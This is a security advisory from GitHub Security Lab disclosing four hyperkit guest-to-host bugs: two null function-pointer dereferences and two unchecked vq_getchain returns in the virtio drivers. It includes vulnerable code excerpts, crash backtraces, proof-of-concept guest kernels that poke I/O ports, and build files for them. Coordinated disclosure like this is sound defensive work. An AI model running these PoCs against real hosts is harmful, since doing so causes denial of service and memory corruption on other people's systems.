skip to content
Back to GitHub.com
Home Bounties Research Advisories Get Involved Events
October 5, 2021

GHSL-2021-054_057: Code execution outside the virtualized guest in hyperkit - CVE-2021-32843, CVE-2021-32844, CVE-2021-32845, CVE-2021-32846

Agustin Gianni

Coordinated Disclosure Timeline

Summary

A malicious guest can trigger vulnerabilities in the host by abusing certain drivers that may lead to code execution outside the virtualized guest.

Product

hyperkit

Tested Version

v0.20210107

Details

Issue 1: vi_pci_read null vc_cfgread function pointer dereference (GHSL-2021-054)

Virtualized devices implement a struct virtio_consts that contains handlers and other components that will be used by the device. The function pointer vc_cfgread is used to read the virtio configuration of a device which is an operation that the guest performs to initialize the virtio drivers.

Not every device implements all the available operations, therefore calls to virtio handlers must be checked for null. One such device is vtrnd which is used to supply randomness to the guest:

static struct virtio_consts vtrnd_vi_consts = {
    "vtrnd",		    /* our name */
    1,			        /* we support 1 virtqueue */
    0,			        /* config reg size */
    pci_vtrnd_reset,	/* reset */
    pci_vtrnd_notify,	/* device-wide qnotify */
    NULL,			    /* read virtio config */
    NULL,			    /* write virtio config */
    NULL,			    /* apply negotiated features */
    0,			        /* our capabilities */
};

In virtio.c there is a call to vc_cfgread that does not check for null which when called makes the host crash.

Vulnerable call:

if (offset >= virtio_config_size) {
    /*
     * Subtract off the standard size (including MSI-X
     * registers if enabled) and dispatch to underlying driver.
     * If that fails, fall into general code.
     */
    newoff = (uint32_t) (offset - virtio_config_size);
    max = vc->vc_cfgsize ? vc->vc_cfgsize : 0x100000000;
    if ((newoff + ((unsigned) size)) > max)
        goto bad;
    error = (*vc->vc_cfgread)(DEV_SOFTC(vs), ((int) newoff), size, &value);
    if (!error)
        goto done;
}

Host crashing:

Stop reason: EXC_BAD_ACCESS (code=1, address=0x0)

* thread #4, name = 'vcpu:0', stop reason = EXC_BAD_ACCESS (code=1, address=0x0)
  * frame #0: 0x0000000000000000
    frame #1: 0x00000001001098d0 hyperkit`vi_pci_read(vcpu=0, pi=0x0000616000000f80, baridx=0, offset=20, size=1) at virtio.c:562:11 [opt]
    frame #2: 0x00000001000bf4c2 hyperkit`pci_emul_io_handler(vcpu=0, in=1, port=8468, bytes=1, eax=0x000070000f7aabc0, arg=0x0000616000000f80) at pci_emul.c:361:22 [opt]
    frame #3: 0x000000010009a90b hyperkit`emulate_inout(vcpu=0, vmexit=0x0000000100399620, strict=0) at inout.c:243:12 [opt]
    frame #4: 0x000000010011740c hyperkit`vmexit_inout(vme=0x0000000100399620, pvcpu=0x000070000f7aae00) at hyperkit.c:353:10 [opt]
    frame #5: 0x000000010011a311 hyperkit`vcpu_loop(vcpu=0, startrip=1052672) at hyperkit.c:631:22 [opt]
    frame #6: 0x000000010011953d hyperkit`vcpu_thread(param=0x0000000100399220) at hyperkit.c:278:2 [opt]
    frame #7: 0x00007fff2031d950 libsystem_pthread.dylib`_pthread_start + 224
    frame #8: 0x00007fff2031947b libsystem_pthread.dylib`thread_start + 15

Impact

This issue may lead to a guest crashing the host causing a denial of service.

Proof of Concept

The following PoC is a simple multiboot kernel that simulates a compromised guest. The guest must be booted with the device vtrnd enabled by passing hyperkit the command line flags -s 5,virtio-rnd for example.

In order to compile it follow the instructions in the resources section.

#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>

static uint8_t inb(uint16_t port)
{
    uint8_t ret;
    __asm__ __volatile__("inb %1,%0"
                         : "=a"(ret)
                         : "Nd"(port));
    return ret;
}

int kernel_main(void)
{
    inb(0x2114);
    return 0;
}

Issue 2: vi_pci_write null vc_cfgwrite function pointer dereference (GHSL-2021-055)

This issue is similar to issue 1 but it involves the vc_cfgwrite function pointer which is called in the same way by vi_pci_write. Again, the device vtrnd has no implementation of this function therefore when it is called the host crashes.

Vulnerable call:

if (offset >= virtio_config_size) {
    /*
     * Subtract off the standard size (including MSI-X
     * registers if enabled) and dispatch to underlying driver.
     */
    newoff = (uint32_t) (offset - virtio_config_size);
    max = vc->vc_cfgsize ? vc->vc_cfgsize : 0x100000000;
    if ((newoff + ((unsigned) size)) > max)
        goto bad;
    error = (*vc->vc_cfgwrite)(DEV_SOFTC(vs), ((int) newoff), size,
        ((uint32_t) value));
    if (!error)
        goto done;
}

Host crashing:

Stop reason: EXC_BAD_ACCESS (code=1, address=0x0)

* thread #6, name = 'vcpu:0', stop reason = EXC_BAD_ACCESS (code=1, address=0x0)
  * frame #0: 0x0000000000000000
    frame #1: 0x0000000100041866 hyperkit`vi_pci_write(vcpu=0, pi=0x0000616000000f80, baridx=0, offset=20, size=2, value=51966) at virtio.c:681:11 [opt]
    frame #2: 0x0000000100029c22 hyperkit`pci_emul_io_handler(vcpu=0, in=0, port=8468, bytes=2, eax=0x000070000a59ae84, arg=0x0000616000000f80) at pci_emul.c:364:5 [opt]
    frame #3: 0x000000010001eaf0 hyperkit`emulate_inout(vcpu=0, vmexit=0x000000010025a7d0, strict=0) at inout.c:243:12 [opt]
    frame #4: 0x00000001000452cd hyperkit`vmexit_inout(vme=0x000000010025a7d0, pvcpu=0x000070000a59af5c) at hyperkit.c:353:10 [opt]
    frame #5: 0x00000001000451ac hyperkit`vcpu_loop(vcpu=0, startrip=1052672) at hyperkit.c:631:22 [opt]
    frame #6: 0x0000000100044d5d hyperkit`vcpu_thread(param=0x000000010025a3d0) at hyperkit.c:278:2 [opt]
    frame #7: 0x00007fff2048b950 libsystem_pthread.dylib`_pthread_start + 224
    frame #8: 0x00007fff2048747b libsystem_pthread.dylib`thread_start + 15

Impact

This issue may lead to a guest crashing the host causing a denial of service.

Proof of Concept

The following PoC is a simple multiboot kernel that simulates a compromised guest. The guest must be booted with the device vtrnd enabled by passing hyperkit the command line flags -s 5,virtio-rnd for example.

In order to compile it follow the instructions in the resources section.

#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>

static void
outw(uint16_t port, uint16_t value)
{
    __asm__ __volatile__("outw %w0,%w1"
                         :
                         : "a"(value), "Nd"(port));
}

int kernel_main(void)
{
    outw(0x2114, 0xcafe);
    return 0;
}

Issue 3: vtrnd pci_vtrnd_notify uninitialized memory use (GHSL-2021-056)

vtrnd is an implementation of Virtio RNG, a paravirtualized device that is exposed as a hardware RNG device to the guest. The randomness values are transferred into the guest memory by reading queues defined by the guest by using vq_getchain to fill a struct iovec structure with the memory ranges specified by the guest.

When there is an error condition, the function vq_getchain returns -1 if there was an error, 0 if there was no work to be done, or an integer bigger than 0 signaling the number of descriptors it was able to read into the iovec structure. In all cases, it is important to check for errors and if the amount of descriptors requested matches the amount read.

Unfortunately the implementation of qnotify at pci_vtrnd_notify, fails to check the return value of vq_getchain. This leads to struct iovec iov; being uninitialized and used to read memory in len = (int) read(sc->vrsc_fd, iov.iov_base, iov.iov_len); when an attacker is able to make vq_getchain fail.

Making vq_getchain fail is trivial since by definition it deals with virtio queues that are created by the guest operating system. The simplest way to make this function not initialize the iovec structure is by simply not creating any virtio queues for it to read.

Vulnerable function:

static void
pci_vtrnd_notify(void *vsc, struct vqueue_info *vq)
{
	struct iovec iov;
	struct pci_vtrnd_softc *sc;
	int len;
	uint16_t idx;

	sc = vsc;

	if (sc->vrsc_fd < 0) {
		vq_endchains(vq, 0);
		return;
	}

	while (vq_has_descs(vq)) {
		vq_getchain(vq, &idx, &iov, 1, NULL);

		len = (int) read(sc->vrsc_fd, iov.iov_base, iov.iov_len);
		DPRINTF(("vtrnd: vtrnd_notify(): %d\r\n", len));

		/* Catastrophe if unable to read from /dev/random */
		assert(len > 0);

		/*
		 * Release this chain and handle more
		 */
		vq_relchain(vq, idx, (uint32_t)len);
	}
	vq_endchains(vq, 1);	/* Generate interrupt if appropriate. */
}

Impact

This issue may lead to a guest crashing the host causing a denial of service and under certain circumstance memory corruption.

Proof of Concept

The following PoC is a simple multiboot kernel that simulates a compromised guest. The guest must be booted with the device vtrnd enabled by passing hyperkit the command line flags -s 5,virtio-rnd for example.

In order to compile it follow the instructions in the resources section.

Warning: In order to verify that the vulnerability exists, please attach a debugger instead of waiting for a crash because due to the nature of the vulnerability, a crash may not happen.

#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>

static void
outw(uint16_t port, uint16_t value)
{
    __asm__ __volatile__("outw %w0,%w1"
                         :
                         : "a"(value), "Nd"(port));
}

static void
outl(uint16_t port, uint32_t value)
{
    __asm__ __volatile__("outl %0,%w1"
                         :
                         : "a"(value), "Nd"(port));
}

struct __attribute__((packed)) vring_avail
{
    uint16_t va_flags;  /* VRING_AVAIL_F_* */
    uint16_t va_idx;    /* counts to 65535, then cycles */
    uint16_t va_ring[]; /* size N, reported in QNUM value */
};

#define VQ_QSIZE 0x40

int kernel_main(void)
{
    // 0. Choose an address that is mapped but unused.
    uint64_t pfn = 0x1000000;

    // 1. Select a queue.
    // VTCFG_R_QSEL = 0x0e
    outw(0x210e, 0);

    // 2. Initialize the queue to our address.
    // VTCFG_R_PFN = 0x08
    outl(0x2108, pfn / 4096);

    // 3. Satisfy vq_has_descs and make (ndesc > vq->vq_qsize) false.
    struct vring_avail *avail = (struct vring_avail *)&((uint32_t *)(pfn))[0x100];
    avail->va_idx = VQ_QSIZE + 1;

    // 4. Call pci_vtrnd_notify to trigger a vq_getchain.
    // VTCFG_R_QNOTIFY = 0x10
    // pci_emul_io_handler = 0x2100
    // pci_emul_io_handler | VTCFG_R_QNOTIFY
    outw(0x2110, 0);

    return 0;
}

Issue 4: virtio-sock pci_vtsock_proc_tx uninitialized memory use (GHSL-2021-057)

The function pci_vtsock_proc_tx has the same vulnerability pattern we described on issue number 3.

Vulnerable function:

static void pci_vtsock_proc_tx(struct pci_vtsock_softc *sc,
			       struct vqueue_info *vq)
{
	struct pci_vtsock_sock *sock;
	struct iovec iov_array[VTSOCK_MAXSEGS], *iov = iov_array;
	uint16_t idx, flags[VTSOCK_MAXSEGS];
	struct virtio_sock_hdr hdr;
	int iovec_len;
	size_t pulled;

	iovec_len = vq_getchain(vq, &idx, iov, VTSOCK_MAXSEGS, flags);
	assert(iovec_len <= VTSOCK_MAXSEGS);

    ...
}

In this situation, there is a check for the return value to be less or equal to VTSOCK_MAXSEGS, but that check is not sufficient because the function can return -1 if it finds an error it cannot recover from. Moreover, the negative return value will be used by iovec_pull in a while condition that can further lead to more corruption because the function is not designed to handle a negative iov_len.

static size_t iovec_pull(struct iovec **iov, int *iov_len, void *buf, size_t bytes)
{
    ...

	while (res < bytes && *iov_len) {
		size_t c = (bytes - res) < (*iov)[0].iov_len ? (bytes - res) : (*iov)[0].iov_len;

		//DPRINTF(("Copy %zd/%zd bytes from base=%p to buf=%p\n",
		//	 c, (*iov)[0].iov_len, (void*)(*iov)[0].iov_base, (void*)buf));

		if (buf) memcpy(buf, (*iov)[0].iov_base, c);

		(*iov)[0].iov_len -= c;
		(*iov)[0].iov_base = (char *)(*iov)[0].iov_base + c;

		//DPRINTF(("iov %p is now %zd bytes at %p\n", (void *)*iov,
		//	 (*iov)[0].iov_len, (void *)(*iov)[0].iov_base));

		if ((*iov)[0].iov_len == 0) {
			(*iov)++;
			(*iov_len)--;
			//DPRINTF(("iov elem consumed, now iov=%p, iov_len=%d\n", (void *)*iov, *iov_len));
		}

		if (buf) buf = (char *)buf + c;
		//DPRINTF(("buf now %p\n", (void *)buf));

		res += c;
	}
	//DPRINTF(("iovec_pull pulled %zd/%zd bytes\n", res, bytes));

	return res;
}

Host crashing:

Launching: /Users/goose/workspace/hyperkit/build/hyperkit -A -b -c 2 -s 0:0,hostbridge -s 1,uart -s 4,virtio-blk,disk.img -s 5,virtio-rnd -s 31,lpc -s 7,virtio-sock,guest_cid=3,path=/tmp/hyperkit,guest_forwards=2375 -l com1,stdio -f multiboot,/Users/goose/workspace/hype-r-kernel/build/poc
Launched process 5474
Stop reason: EXC_BAD_ACCESS (code=1, address=0xc)
bt
* thread #4, name = 'vsock:tx', stop reason = EXC_BAD_ACCESS (code=1, address=0xc)
  * frame #0: 0x00000001003eb4d5 libclang_rt.asan_osx_dynamic.dylib`__sanitizer::internal_memmove(void*, void const*, unsigned long) + 373
    frame #1: 0x00000001003aadf0 libclang_rt.asan_osx_dynamic.dylib`wrap_memmove + 736
    frame #2: 0x000000010003ab22 hyperkit`iovec_pull(iov=0x000070000403aa00, iov_len=0x000070000403aa44, buf=0x000070000403aa08, bytes=44) at pci_virtio_sock.c:451:12 [opt]
    frame #3: 0x000000010003a3d9 hyperkit`pci_vtsock_proc_tx(sc=0x0000000114348800, vq=0x00000001143488c0) at pci_virtio_sock.c:1132:11 [opt]
    frame #4: 0x0000000100037e2f hyperkit`pci_vtsock_tx_thread(vsc=0x0000000114348800) at pci_virtio_sock.c:1609:4 [opt]
    frame #5: 0x00007fff205f6950 libsystem_pthread.dylib`_pthread_start + 224
    frame #6: 0x00007fff205f247b libsystem_pthread.dylib`thread_start + 15

Impact

This issue may lead to a guest crashing the host causing a denial of service and under certain circumstance memory corruption.

Proof of Concept

The following PoC is a simple multiboot kernel that simulates a compromised guest. The guest must be booted with the device vtrnd enabled by passing hyperkit the command line flags -s 5,virtio-rnd for example.

In order to compile it follow the instructions in the resources section.

#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>

static void
outw(uint16_t port, uint16_t value)
{
    __asm__ __volatile__("outw %w0,%w1"
                         :
                         : "a"(value), "Nd"(port));
}

static void
outl(uint16_t port, uint32_t value)
{
    __asm__ __volatile__("outl %0,%w1"
                         :
                         : "a"(value), "Nd"(port));
}

struct __attribute__((packed)) vring_avail
{
    uint16_t va_flags;  /* VRING_AVAIL_F_* */
    uint16_t va_idx;    /* counts to 65535, then cycles */
    uint16_t va_ring[]; /* size N, reported in QNUM value */
};

int kernel_main(void)
{
    // 0. Choose an address that is mapped but unused.
    uint64_t pfn = 0x1000000;

    // 1. Select a queue.
    // VTCFG_R_QSEL = 0x0e
    outw(0x212e, 1);

    // 2. Initialize the queue to our address.
    // VTCFG_R_PFN = 0x08
    outl(0x2128, pfn / 4096);

    // 3. Satisfy vq_has_descs and make (ndesc > vq->vq_qsize) false.
    struct vring_avail *vq_avail = (struct vring_avail *)&((uint32_t *)(pfn))[0x400];
    vq_avail->va_idx = 257;

    // 4. Call pci_vtsock_proc_tx to trigger a vq_getchain.
    outw(0x2120 | 0x10, 1);

    return;
}

Resources

In order to compile each proof of concept code, place the code into a C file in a directory along with the provided files linker.ld and start.s. You will also need to install nasm and i686-elf-gcc:

Compilation:

# Install compilation dependencies.
brew install nasm i686-elf-gcc

# Compile the kernel into a file named `poc`.
nasm -felf32 -w+all -o start.o start.s
i686-elf-gcc -std=c17 -Wall -ffreestanding -O0 -nostdlib -Wno-unused-function -c poc.c -o poc.o
i686-elf-gcc -std=c17 -Wall -ffreestanding -O0 -nostdlib -Wno-unused-function -T linker.ld start.o poc.o -o poc -lgcc

linker.ld

ENTRY(start)
 
SECTIONS
{
    . = 1M;

    .multiboot BLOCK(4K) : ALIGN(4K)
    {
        *(.multiboot)
    }

    .text BLOCK(4K) : ALIGN(4K)
    {
        *(.text)
    }
  
    .data BLOCK(4K) : ALIGN(4K)
    {
        *(.data)
    }
 
    .rodata BLOCK(4K) : ALIGN(4K)
    {
        *(.rodata)
    }

    .bss BLOCK(4K) : ALIGN(4K)
    {
        *(.common)
        *(.bss)
    } 
}

start.s

KERNEL_STACK_SIZE equ 0x4000

[section .multiboot]
    MB_MODULEALIGN  equ  1 << 0
    MB_MEMINFO      equ  1 << 1
    MB_FLAGS        equ  MB_MODULEALIGN | MB_MEMINFO
    MB_MAGIC        equ  0x1BADB002
    MB_CHECKSUM     equ -(MB_MAGIC + MB_FLAGS)

    multiboot_header:
        dd MB_MAGIC
        dd MB_FLAGS
        dd MB_CHECKSUM

[section .text]
    start:
        global start
        lgdt [gdt_temp_r]
        mov eax, 0x10
        mov ds, ax
        mov es, ax
        mov ss, ax
        jmp 0x08:kernel_entry

    kernel_entry:
        mov esp, kernel_stack + KERNEL_STACK_SIZE
        mov ebp, esp
        extern kernel_main
        call kernel_main
        jmp $

[section .data]
    gdt_temp:
        dq 0x0000000000000000
        dq 0x00cf9a000000ffff
        dq 0x00cf92000000ffff

    gdt_temp_end:
    gdt_temp_r:
        dw gdt_temp_end - gdt_temp - 1
        dd gdt_temp

[section .bss]
    align 32
    kernel_stack:
          resb KERNEL_STACK_SIZE

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-YEAR-ID in any communication regarding this issue.